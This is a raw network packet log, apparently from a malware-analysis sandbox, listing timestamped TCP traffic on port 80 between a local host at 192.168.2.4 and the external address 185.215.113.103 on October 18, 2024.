Oct 18, 2024 15:04:18.292164087 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.292195082 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.292608976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.292620897 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.292632103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.292644978 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.292656898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.292666912 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.292685032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.292699099 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.295965910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.295998096 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296008110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296020985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296031952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296044111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296047926 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296056032 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296057940 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296082020 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296097040 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296730042 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296741962 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296753883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296766996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296778917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296782970 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296792030 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.296797991 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296822071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.296838045 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.298799038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298815012 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298826933 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298839092 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298851013 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298855066 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.298863888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.298877001 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.298892975 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.299483061 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.299495935 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.299506903 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.299513102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.299554110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.299587011 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.299597025 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.301091909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.301141977 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.301168919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.301217079 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.301301003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.301338911 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.301363945 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.301383972 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.301413059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.301445007 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.302035093 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302074909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302109003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302124023 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.302145958 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302158117 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.302190065 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302191973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.302229881 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.302242994 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.302282095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.303220987 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.303258896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.303293943 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.303313017 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.303328037 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.303345919 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.303364038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.303380013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.303407907 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.304363966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304382086 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304399014 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304416895 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304433107 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304441929 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.304451942 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.304498911 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.304527044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.305872917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.305886030 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.305896044 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.305907965 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.305919886 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.305933952 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.305968046 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.307214975 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307250023 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307260036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307272911 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307281971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.307284117 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307296038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.307301044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.307327032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.307344913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.308619976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.308633089 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.308644056 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.308655977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.308666945 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.308676004 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.308701992 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311012983 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311028957 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311043024 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311058998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311072111 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311074018 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311085939 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311089039 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311113119 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311135054 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311705112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311721087 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311736107 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311750889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311752081 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311760902 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311767101 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311781883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311784029 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.311794043 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311813116 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.311825991 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.312944889 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.312959909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.312975883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.312990904 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.312992096 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.312999010 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.313019037 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.313033104 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.313966036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.313982010 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.314007998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.314030886 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.314040899 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.314055920 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.314074993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.314126968 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.315021038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315063000 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315097094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315115929 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.315130949 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315145016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.315165997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315198898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.315217018 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.315244913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.316448927 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316483021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316517115 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316536903 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.316550970 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316557884 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.316585064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316620111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.316632986 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.317771912 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.317866087 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.317955017 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.317987919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.318006039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.318022013 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.318030119 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.318056107 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.318105936 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.319381952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319447041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319480896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319509029 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.319515944 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319530010 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.319549084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319586039 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.319606066 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.319629908 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.321049929 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.321089029 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.321124077 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.321151972 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.321160078 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.321194887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.321213007 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.321243048 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.322776079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322810888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322845936 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322865963 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.322880030 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322891951 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.322928905 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322963953 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.322981119 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.324059963 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.324095011 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.324115992 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.324130058 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.324139118 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.324163914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.324198008 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.324214935 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.324235916 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.326715946 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326750994 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326785088 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326807022 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.326819897 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326838970 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.326853991 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326888084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326904058 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.326917887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.326931000 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.327727079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.327783108 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.327785015 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.327821016 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.327856064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.327867985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.327891111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.327902079 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.329775095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330524921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330566883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330581903 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330601931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330620050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330636978 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330651999 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330672026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330688953 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330705881 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.330727100 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.330758095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.332040071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.332081079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.332102060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.332115889 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.332134962 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.332151890 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.332171917 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.332186937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.332202911 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.332231998 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.335053921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335092068 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335125923 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335155010 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.335167885 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.335283041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335316896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335334063 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.335351944 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.335362911 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.335417032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.336256981 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.336292028 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.336307049 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.336325884 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.336340904 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.336359978 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.336374044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.336395025 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.336405993 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.336446047 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.339962959 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340059996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340096951 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340138912 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.340157986 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340168953 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.340209961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340262890 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.340648890 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340683937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340718985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340740919 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.340754986 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340790033 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340807915 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.340823889 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.340841055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.341773033 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344103098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344146013 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344172955 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344183922 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344201088 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344219923 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344228029 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344300032 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344317913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344325066 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344346046 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344367027 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344525099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344537020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344547033 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344558954 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344569921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.344571114 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344598055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.344619989 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.345531940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345547915 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345561028 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345566034 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345571041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345583916 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.345617056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.345632076 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.346514940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.346527100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.346538067 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.346549988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.346560955 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.346570969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.346599102 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.347219944 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.347232103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.347243071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.347254992 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.347265005 CEST	80	49830	185.215.113.103	192.168.2.4
